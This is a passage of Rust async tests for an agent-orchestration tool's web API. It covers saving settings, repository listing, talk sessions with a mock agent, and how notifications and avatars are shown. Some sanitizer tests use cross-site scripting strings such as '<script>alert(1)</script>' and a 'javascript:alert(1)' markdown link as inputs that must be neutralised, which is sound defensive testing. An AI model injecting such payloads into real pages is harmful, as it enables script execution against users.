14363            "{v}"
14364        );
14365        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14366    }
14367
14368    #[tokio::test]
14369    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14370        let (_tmp, repo, machine) = settings_dirs(
14371            SETTINGS_AGENTS,
14372            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14373        );
14374        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14375        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14376        let rev = f.get("/api/settings").await.json()["revision"]
14377            .as_str()
14378            .expect("revision")
14379            .to_owned();
14380        let body = serde_json::json!({
14381            "revision": rev,
14382            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14383        })
14384        .to_string();
14385        let res = f.put("/api/settings/roles", &body).await;
14386        assert_eq!(res.status, 200, "{}", res.body);
14387        let text = std::fs::read_to_string(&machine).expect("machine");
14388        assert_eq!(
14389            text,
14390            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14391        );
14392        assert_eq!(
14393            std::fs::read(repo.join("magi.toml")).expect("read"),
14394            repo_before
14395        );
14396        let again = f.get("/api/settings").await.json();
14397        let judges = again["roles"]
14398            .as_array()
14399            .expect("roles")
14400            .iter()
14401            .find(|r| r["key"] == "judges")
14402            .expect("judges")
14403            .clone();
14404        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14405        // The old revision is now stale.
14406        let stale = f.put("/api/settings/roles", &body).await;
14407        assert_eq!(stale.status, 409, "{}", stale.body);
14408    }
14409
14410    #[tokio::test]
14411    async fn settings_counts_are_reported_and_saved() {
14412        let (_tmp, repo, machine) = settings_dirs(
14413            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14414            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14415        );
14416        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14417        let v = f.get("/api/settings").await.json();
14418        let count = |v: &serde_json::Value, k: &str| {
14419            v["roles"]
14420                .as_array()
14421                .and_then(|r| r.iter().find(|x| x["key"] == k))
14422                .map(|x| x["count"].clone())
14423                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14424        };
14425        let imp = count(&v, "implementers");
14426        assert_eq!(imp["value"], 2);
14427        assert_eq!(imp["source"], "machine");
14428        assert_eq!(imp["file_key"], "candidates");
14429        assert_eq!(imp["roster_len"], 2);
14430        assert_eq!(imp["backups"], 0);
14431        assert_eq!(count(&v, "judges")["source"], "default");
14432        assert_eq!(count(&v, "advisors")["min"], 0);
14433        assert_eq!(count(&v, "reviewers")["editable"], false);
14434        assert!(
14435            count(&v, "reviewers")["locked_reason"]
14436                .as_str()
14437                .is_some_and(|m| m.contains("graph.reviewers"))
14438        );
14439        assert!(count(&v, "fixer").is_null());
14440        let rev = v["revision"].as_str().expect("revision").to_owned();
14441        let body = serde_json::json!({
14442            "revision": rev,
14443            "roles": { "judges": ["b"] },
14444            "counts": { "implementers": 1, "advisors": 0 }
14445        })
14446        .to_string();
14447        let res = f.put("/api/settings/roles", &body).await;
14448        assert_eq!(res.status, 200, "{}", res.body);
14449        let text = std::fs::read_to_string(&machine).expect("machine");
14450        assert_eq!(
14451            text,
14452            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14453        );
14454        let after = f.get("/api/settings").await.json();
14455        assert_eq!(count(&after, "implementers")["value"], 1);
14456        assert_eq!(count(&after, "implementers")["backups"], 1);
14457        assert_eq!(count(&after, "advisors")["value"], 0);
14458        let before = std::fs::read_to_string(&machine).expect("machine");
14459        let rev = after["revision"].as_str().expect("revision").to_owned();
14460        for counts in [
14461            serde_json::json!({ "judges": 0 }),
14462            serde_json::json!({ "judges": "x" }),
14463            serde_json::json!({ "judges": 2.5 }),
14464            serde_json::json!({ "judges": -1 }),
14465            serde_json::json!({ "reviewers": 3 }),
14466            serde_json::json!({ "bogus": 3 }),
14467        ] {
14468            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14469            let res = f.put("/api/settings/roles", &body).await;
14470            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14471            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14472        }
14473    }
14474
14475    #[tokio::test]
14476    async fn settings_put_refuses_without_touching_the_file() {
14477        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14478        let (_tmp, repo, machine) = settings_dirs(
14479            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14480            Some(machine_text),
14481        );
14482        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14483        let rev = f.get("/api/settings").await.json()["revision"]
14484            .as_str()
14485            .expect("revision")
14486            .to_owned();
14487        for roles in [
14488            serde_json::json!({ "judges": ["nope"] }),
14489            serde_json::json!({ "reviewers": ["b"] }),
14490            serde_json::json!({ "bogus": ["a"] }),
14491        ] {
14492            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14493            let res = f.put("/api/settings/roles", &body).await;
14494            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14495            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14496            assert_eq!(
14497                std::fs::read_to_string(&machine).expect("machine"),
14498                machine_text
14499            );
14500        }
14501    }
14502
14503    #[tokio::test]
14504    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14505        let tmp = TempDir::new().expect("tempdir");
14506        let repo = tmp.path().join("repo");
14507        std::fs::create_dir_all(&repo).expect("repo dir");
14508        let root = tmp.path().join("root");
14509        make_checkout(&root, "github.com", "yukimemi", "magi");
14510        std::fs::write(
14511            repo.join("magi.toml"),
14512            format!(
14513                "[repos]\nroots = [{:?}]\n",
14514                root.to_string_lossy().into_owned()
14515            ),
14516        )
14517        .expect("write magi.toml");
14518
14519        let f = Fixture::with_repo(repo).await;
14520        let res = f.get("/api/repos").await;
14521        assert_eq!(res.status, 200, "{}", res.body);
14522        let list = res.json();
14523        let repos = list.as_array().expect("an array");
14524        assert_eq!(repos.len(), 1);
14525        assert_eq!(repos[0]["name"], "yukimemi/magi");
14526        assert!(
14527            repos[0]["path"]
14528                .as_str()
14529                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14530            "{list}"
14531        );
14532    }
14533
14534    #[tokio::test]
14535    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14536        let tmp = TempDir::new().expect("tempdir");
14537        let repo = tmp.path().join("repo");
14538        std::fs::create_dir_all(&repo).expect("repo dir");
14539        let root = tmp.path().join("root");
14540        make_checkout(&root, "github.com", "yukimemi", "magi");
14541        std::fs::write(
14542            repo.join("magi.toml"),
14543            format!(
14544                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14545                root.to_string_lossy().into_owned()
14546            ),
14547        )
14548        .expect("write magi.toml");
14549
14550        let f = Fixture::with_repo(repo).await;
14551        let first = f.get("/api/repos").await;
14552        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14553
14554        // A second checkout appears; within the TTL the cached answer must
14555        // not notice it.
14556        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14557        let second = f.get("/api/repos").await;
14558        assert_eq!(
14559            second.json().as_array().map(Vec::len),
14560            Some(1),
14561            "a fresh cache must not rescan inside the TTL"
14562        );
14563
14564        let refreshed = f.get("/api/repos?refresh=1").await;
14565        assert_eq!(
14566            refreshed.json().as_array().map(Vec::len),
14567            Some(2),
14568            "an explicit refresh must rescan even inside the TTL"
14569        );
14570    }
14571
14572    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14573    /// string, declared straight in a repository's own `magi.toml` rather
14574    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14575    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14576    /// this is safe to run over a real HTTP round trip.
14577    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14578
14579    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14580    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14581    /// even though it takes no turn, and `talk_say` invokes one.
14582    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14583        let tmp = TempDir::new().expect("tempdir");
14584        let repo = tmp.path().join("repo");
14585        std::fs::create_dir_all(&repo).expect("repo dir");
14586        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14587        let f = Fixture::with_repo(repo.clone()).await;
14588        (tmp, repo, f)
14589    }
14590
14591    #[tokio::test]
14592    async fn posting_a_talk_with_remembered_choices_is_soft() {
14593        let (_tmp, _repo, f) = talk_fixture().await;
14594
14595        let good = f
14596            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14597            .await;
14598        assert_eq!(good.status, 201, "{}", good.body);
14599        assert_eq!(good.json()["persona"], "rei");
14600
14601        // Wrong values and wrong types are dropped one by one, never a 4xx.
14602        let stale = f
14603            .post(
14604                "/api/talks",
14605                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14606            )
14607            .await;
14608        assert_eq!(stale.status, 201, "{}", stale.body);
14609        let v = stale.json();
14610        assert_eq!(v["implementers"], 1);
14611        assert_ne!(v["persona"], "nobody");
14612        let typed = f
14613            .post(
14614                "/api/talks",
14615                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14616            )
14617            .await;
14618        assert_eq!(typed.status, 201, "{}", typed.body);
14619
14620        // The strict `agent` field still refuses an unknown id.
14621        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14622        assert!(
14623            !strict.status.to_string().starts_with('2'),
14624            "{}",
14625            strict.body
14626        );
14627    }
14628
14629    #[tokio::test]
14630    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14631        let (_tmp, _repo, f) = talk_fixture().await;
14632
14633        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14634        // is the ordinary way a phone opens a talk.
14635        let opened = f.post("/api/talks", None).await;
14636        assert_eq!(opened.status, 201, "{}", opened.body);
14637        let body = opened.json();
14638        assert_eq!(body["status"], "open");
14639        assert_eq!(
14640            body["turns"].as_array().unwrap().len(),
14641            0,
14642            "opening takes no agent turn: there is nothing yet to answer"
14643        );
14644
14645        // An explicit empty object is the same request as none at all.
14646        let also_opened = f.post("/api/talks", Some("{}")).await;
14647        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14648
14649        let listed = f.get("/api/talks").await.json();
14650        assert_eq!(listed.as_array().unwrap().len(), 2);
14651    }
14652
14653    #[tokio::test]
14654    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14655        let tmp = TempDir::new().expect("tempdir");
14656        let repo = tmp.path().join("repo");
14657        std::fs::create_dir_all(&repo).expect("repo dir");
14658        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14659        std::fs::write(
14660            repo.join("magi.toml"),
14661            format!("{MOCK_AGENT_TOML}\n{second}"),
14662        )
14663        .expect("write magi.toml");
14664        let home = TempDir::new().expect("temp home");
14665        let talks = Talks::at(home.path().join("talks"));
14666        let ui = Arc::new(
14667            Ui::new(
14668                Queue::at(home.path().join("queue")),
14669                Questions::at(home.path().join("questions")),
14670                talks.clone(),
14671                home.path().join("runs"),
14672                home.path().to_path_buf(),
14673                repo.clone(),
14674            )
14675            .with_worktrees_root(home.path().join("wt")),
14676        );
14677        let cfg = config_for(&repo).await.expect("discover config");
14678        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14679        let id = talk.id.clone();
14680        let call = |agent: &str| {
14681            talk_agent(
14682                State(Arc::clone(&ui)),
14683                Path(id.clone()),
14684                Json(TalkAgent {
14685                    agent: agent.to_owned(),
14686                }),
14687            )
14688        };
14689
14690        let unknown = call("nobody").await.expect_err("unknown agent");
14691        assert_eq!(
14692            unknown.status,
14693            StatusCode::BAD_REQUEST,
14694            "{}",
14695            unknown.message
14696        );
14697
14698        {
14699            // Nothing refused so far took a claim, so the guard is free to take
14700            // and holding it is what makes the talk busy.
14701            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14702            let busy = call("second").await.expect_err("busy talk");
14703            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14704            assert!(
14705                busy.message.contains("a talk turn is running"),
14706                "{}",
14707                busy.message
14708            );
14709            drop(guard);
14710        }
14711        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14712
14713        let Json(view) = call("second").await.expect("switch");
14714        assert_eq!(view.talk.agent, "second");
14715        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14716        let saved = talks.get(&id).expect("reload");
14717        assert_eq!(saved.agent, "second");
14718        assert_eq!(saved.turns.len(), 1);
14719        assert!(!view.thinking);
14720        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14721        for agent in ["mock", "second"] {
14722            let Json(view) = call(agent).await.expect("immediate consecutive change");
14723            assert_eq!(view.talk.agent, agent);
14724            assert!(!view.thinking);
14725            assert!(!ui.is_thinking(&id));
14726        }
14727
14728        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14729            .await
14730            .expect("detail");
14731        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14732        assert_eq!(roster, ["mock", "second"]);
14733
14734        let mut closed = talks.get(&id).expect("reload");
14735        talk::close(&mut closed, &talks).expect("close");
14736        let refused = call("mock").await.expect_err("closed talk");
14737        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14738        assert!(
14739            refused.message.contains("takes no more turns"),
14740            "{}",
14741            refused.message
14742        );
14743    }
14744
14745    #[tokio::test]
14746    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14747        let tmp = TempDir::new().expect("tempdir");
14748        let repo = tmp.path().join("repo");
14749        std::fs::create_dir_all(&repo).expect("repo dir");
14750        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14751        let home = TempDir::new().expect("temp home");
14752        let talks = Talks::at(home.path().join("talks"));
14753        let ui = Arc::new(
14754            Ui::new(
14755                Queue::at(home.path().join("queue")),
14756                Questions::at(home.path().join("questions")),
14757                talks.clone(),
14758                home.path().join("runs"),
14759                home.path().to_path_buf(),
14760                repo.clone(),
14761            )
14762            .with_worktrees_root(home.path().join("wt")),
14763        );
14764        let cfg = config_for(&repo).await.expect("discover config");
14765        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14766        let id = talk.id.clone();
14767        let call = |n: u8| {
14768            talk_implementers(
14769                State(Arc::clone(&ui)),
14770                Path(id.clone()),
14771                Json(TalkImplementers { implementers: n }),
14772            )
14773        };
14774
14775        for bad in [0u8, 4] {
14776            let e = call(bad).await.expect_err("out of range");
14777            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14778        }
14779        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14780
14781        {
14782            // Nothing refused so far took a claim, so the guard is free to take
14783            // and holding it is what makes the talk busy.
14784            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14785            let busy = call(2).await.expect_err("busy talk");
14786            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14787            assert!(
14788                busy.message.contains("a talk turn is running"),
14789                "{}",
14790                busy.message
14791            );
14792            drop(guard);
14793        }
14794
14795        let Json(view) = call(3).await.expect("switch");
14796        assert_eq!(view.talk.implementers, 3);
14797        assert!(talks.get(&id).expect("reload").implementers_dirty);
14798        assert!(!view.thinking);
14799        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14800        for n in [1, 2, 3] {
14801            let Json(view) = call(n).await.expect("immediate consecutive change");
14802            assert_eq!(view.talk.implementers, n);
14803            assert!(!view.thinking);
14804            assert!(!ui.is_thinking(&id));
14805        }
14806
14807        let mut closed = talks.get(&id).expect("reload");
14808        talk::close(&mut closed, &talks).expect("close");
14809        let e = call(2).await.expect_err("closed talk");
14810        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14811        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14812    }
14813
14814    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14815    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14816        let tmp = TempDir::new().expect("tempdir");
14817        let repo = tmp.path().join("repo");
14818        std::fs::create_dir_all(&repo).expect("repo dir");
14819        std::fs::write(
14820            repo.join("magi.toml"),
14821            format!("{MOCK_AGENT_TOML}\n{extra}"),
14822        )
14823        .expect("write magi.toml");
14824        let home = TempDir::new().expect("temp home");
14825        let talks = Talks::at(home.path().join("talks"));
14826        let ui = Arc::new(
14827            Ui::new(
14828                Queue::at(home.path().join("queue")),
14829                Questions::at(home.path().join("questions")),
14830                talks.clone(),
14831                home.path().join("runs"),
14832                home.path().to_path_buf(),
14833                repo.clone(),
14834            )
14835            .with_worktrees_root(home.path().join("wt")),
14836        );
14837        let cfg = config_for(&repo).await.expect("discover config");
14838        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14839        (tmp, home, ui, talk.id, repo)
14840    }
14841
14842    #[tokio::test]
14843    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14844        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14845        let mut conversation = ui.talks.get(&id).unwrap();
14846        talk::record(
14847            &mut conversation,
14848            &ui.talks,
14849            "# Update on a task you filed\noperator words",
14850            vec![],
14851        )
14852        .unwrap();
14853        // Simulate an old operator record; headings do not prove authorship.
14854        conversation.turns[0].sender = None;
14855        conversation.turns[0].messages.clear();
14856        ui.talks.put(&mut conversation).unwrap();
14857        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14858        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14859        talk::drain(&mut conversation, &ui.talks).unwrap();
14860        talk::record_reply(
14861            &mut conversation,
14862            &ui.talks,
14863            "about that report",
14864            vec![],
14865            Some(talk::ReplyTarget {
14866                turn: 1,
14867                message: 1,
14868            }),
14869        )
14870        .unwrap();
14871        conversation.turns[2].messages[0]
14872            .reply
14873            .as_mut()
14874            .unwrap()
14875            .sender = None;
14876        conversation.turns.push(talk::Turn {
14877            sender: Some(talk::Sender::Persona),
14878            who: talk::Who::Agent,
14879            body: "magi: actual persona words".into(),
14880            at: Timestamp::now(),
14881            attachments: vec![],
14882            usage: None,
14883            breaks: None,
14884            messages: vec![],
14885            posted_by: None,
14886        });
14887        ui.talks.put(&mut conversation).unwrap();
14888        let view = TalkView::with_config(
14889            ui.talks.get(&id).unwrap(),
14890            false,
14891            None,
14892            &ui.home,
14893            &ui.references,
14894        );
14895        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14896        assert_eq!(
14897            view.talk.turns[1].messages[0].sender,
14898            Some(talk::Sender::Operator)
14899        );
14900        assert_eq!(
14901            view.talk.turns[1].messages[1].sender,
14902            Some(talk::Sender::Magi)
14903        );
14904        assert_eq!(
14905            view.talk.turns[2].messages[0]
14906                .reply
14907                .as_ref()
14908                .unwrap()
14909                .sender,
14910            Some(talk::Sender::Magi)
14911        );
14912        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14913        assert_eq!(view.turn_messages_md[0].len(), 1);
14914        assert!(view.turn_messages_md[0][0].is_none());
14915        assert!(view.turn_messages_md[1][0].is_none());
14916        assert!(view.turn_messages_md[1][1].is_some());
14917    }
14918
14919    #[tokio::test]
14920    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14921        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14922        let mut conversation = ui.talks.get(&id).unwrap();
14923        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14924        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14925        talk::queue_notice(
14926            &mut conversation,
14927            &ui.talks,
14928            &body,
14929            "watch:123",
14930            &|_| false,
14931            None,
14932            display.clone(),
14933        )
14934        .unwrap();
14935        assert!(
14936            !talk::queue_notice(
14937                &mut conversation,
14938                &ui.talks,
14939                &body,
14940                "watch:123",
14941                &|_| false,
14942                None,
14943                display.clone()
14944            )
14945            .unwrap()
14946        );
14947        let saved = ui.talks.get(&id).unwrap();
14948        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14949        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14950        assert!(
14951            view.talk.turns[0].messages[0].display.is_none(),
14952            "operator copy stays literal"
14953        );
14954        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14955        assert!(view.turn_messages_md[0][0].is_none());
14956        let queued_md = view.pending_messages_md[0].clone();
14957        assert_eq!(
14958            queued_md,
14959            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14960        );
14961        talk::drain(&mut conversation, &ui.talks).unwrap();
14962        talk::record_reply(
14963            &mut conversation,
14964            &ui.talks,
14965            "Explain",
14966            vec![],
14967            Some(talk::ReplyTarget {
14968                turn: 1,
14969                message: 0,
14970            }),
14971        )
14972        .unwrap();
14973        let mut saved = ui.talks.get(&id).unwrap();
14974        assert_eq!(saved.turns[1].messages[0].body, body);
14975        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14976        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14977        assert!(!reply.excerpt.contains("automatic report"));
14978        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14979        saved.turns[1].messages[0].display = None; // old MAGI send
14980        ui.talks.put(&mut saved).unwrap();
14981        let view = TalkView::with_config(
14982            ui.talks.get(&id).unwrap(),
14983            false,
14984            None,
14985            &ui.home,
14986            &ui.references,
14987        );
14988        assert_eq!(view.turn_messages_md[1][0], queued_md);
14989        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14990        assert!(
14991            !view.talk.turns[2].messages[0]
14992                .reply
14993                .as_ref()
14994                .unwrap()
14995                .excerpt
14996                .contains("automatic report")
14997        );
14998        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14999    }
15000
15001    #[tokio::test]
15002    async fn consultation_display_hides_directives_in_queue_and_history() {
15003        for node in [
15004            "implement",
15005            crate::land::APPROVAL_NODE,
15006            crate::github_text::ASK_NODE,
15007        ] {
15008            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15009            let mut question = Question::new(
15010                "run-123".into(),
15011                node.into(),
15012                "seat-1".into(),
15013                "Which backend?".into(),
15014                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15015                vec!["SQLite".into(), "Redis".into()],
15016            );
15017            ui.questions.put(&mut question).unwrap();
15018            let body = crate::prompt::chat_consult(&question);
15019            let mut conversation = ui.talks.get(&id).unwrap();
15020            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15021            assert!(
15022                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15023            );
15024            conversation = ui.talks.get(&id).unwrap();
15025            assert_eq!(conversation.pending_messages[0].body, body);
15026            assert!(body.contains("magi answer"));
15027            let mut legacy_pending = conversation.clone();
15028            legacy_pending.pending_messages[0].display = None;
15029            let legacy_view =
15030                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15031            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15032            assert!(legacy_md.contains("Question consultation"));
15033            assert!(!legacy_md.contains("magi answer"));
15034            let view =
15035                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15036            assert!(
15037                view.turn_messages_md[0][0].is_none(),
15038                "operator copy stays literal"
15039            );
15040            let queued_md = view.pending_messages_md[0].clone().unwrap();
15041            let rendered = serde_json::to_string(&queued_md).unwrap();
15042            for visible in [
15043                "Which backend?",
15044                "Context",
15045                "storage",
15046                "SQLite",
15047                "Redis",
15048                "<script>literal</script>",
15049            ] {
15050                assert!(rendered.contains(visible), "missing {visible}");
15051            }
15052            for directive in [
15053                "What to do",
15054                "magi answer",
15055                "Never answer it yourself",
15056                "Do not edit the repository",
15057            ] {
15058                assert!(!rendered.contains(directive), "exposed {directive}");
15059            }
15060            assert_eq!(
15061                view.talk.pending_messages[0].display,
15062                Some(crate::prompt::chat_consult_display(&question))
15063            );
15064            talk::drain(&mut conversation, &ui.talks).unwrap();
15065            let view =
15066                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15067            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15068            assert_eq!(conversation.turns[1].messages[0].body, body);
15069
15070            // Historical consultations lack a snapshot: show a safe placeholder
15071            // rather than parsing instructions or reconstructing mutable facts.
15072            conversation.turns[1].messages[0].display = None;
15073            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15074            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15075            assert!(legacy.contains("Question consultation"));
15076            assert!(!legacy.contains("magi answer"));
15077            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15078        }
15079    }
15080
15081    #[test]
15082    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15083        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15084        let (body, mut display) =
15085            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15086        display.facts = facts.into();
15087        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15088        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15089        let json = serde_json::to_string(&nodes).unwrap();
15090        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15091            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15092        }
15093        assert!(json.contains("<script>alert(1)</script>"));
15094        assert!(!json.contains("javascript:"));
15095        assert!(!json.contains("Tell the operator"));
15096        assert!(!json.contains("untrusted"));
15097        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15098        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15099        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15100        assert_eq!(
15101            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15102            md::to_nodes("# Status", &md::ImageBase::None),
15103        );
15104    }
15105
15106    #[tokio::test]
15107    async fn notification_display_recovers_exact_legacy_completion_references() {
15108        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15109        let mut conversation = ui.talks.get(&id).unwrap();
15110        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15111            id: "task-123",
15112            title: "Change",
15113            status: "done",
15114            reason: None,
15115            run: Some("run-123"),
15116            pr: None,
15117            summary: Some("Merge state unknown"),
15118        });
15119        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15120        conversation.turns[0].sender = None;
15121        conversation.turns[0].messages.clear();
15122        conversation.turns[0].breaks = None;
15123        conversation.pending = body.clone();
15124        conversation
15125            .completion_notices
15126            .push(crate::chat_notify::CompletionReference {
15127                task: "task-123".into(),
15128                run: Some("run-123".into()),
15129                notice: body.clone(),
15130            });
15131        ui.talks.put(&mut conversation).unwrap();
15132        let view = TalkView::with_config(
15133            ui.talks.get(&id).unwrap(),
15134            false,
15135            None,
15136            &ui.home,
15137            &ui.references,
15138        );
15139        assert_eq!(
15140            view.talk.turns[0].messages[0].display,
15141            Some(display.clone())
15142        );
15143        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15144        assert_eq!(
15145            view.talk.turns[0].messages[0].sender,
15146            Some(talk::Sender::Magi)
15147        );
15148        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15149        conversation.completion_notices[0]
15150            .notice
15151            .push_str("different");
15152        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15153        assert!(view.talk.turns[0].messages.is_empty());
15154        assert!(view.talk.pending_messages.is_empty());
15155    }
15156
15157    #[tokio::test]
15158    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15159        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15160        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15161            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15162        ))
15163        .await;
15164        let path = avatar_setting_path(home.path(), Some("rei"));
15165        let orphan = avatar_setting_path(home.path(), Some("removed"));
15166        save_icon_file(&orphan, icon).unwrap();
15167        for (saved, expected) in [
15168            (icon, "custom"),
15169            ("builtin", "builtin"),
15170            ("data:image/png;base64,!!!!", "inherit"),
15171            ("data:image/png;base64,PGh0bWw+", "inherit"),
15172            ("/tmp/avatar.png", "inherit"),
15173        ] {
15174            atomic_icon_write(&path, saved).unwrap();
15175            let catalog =
15176                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15177                    .await
15178                    .unwrap()
15179                    .0;
15180            let personas = catalog["personas"].as_array().unwrap();
15181            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15182            assert_eq!(rei["override_state"], expected);
15183            assert_eq!(rei["has_config_icon"], true);
15184            assert_eq!(rei["is_orphan"], false);
15185            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15186            assert_eq!(removed["override_state"], "custom");
15187            assert_eq!(removed["is_orphan"], true);
15188            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15189            assert_eq!(default["override_state"], "inherit");
15190            assert_eq!(default["has_config_icon"], false);
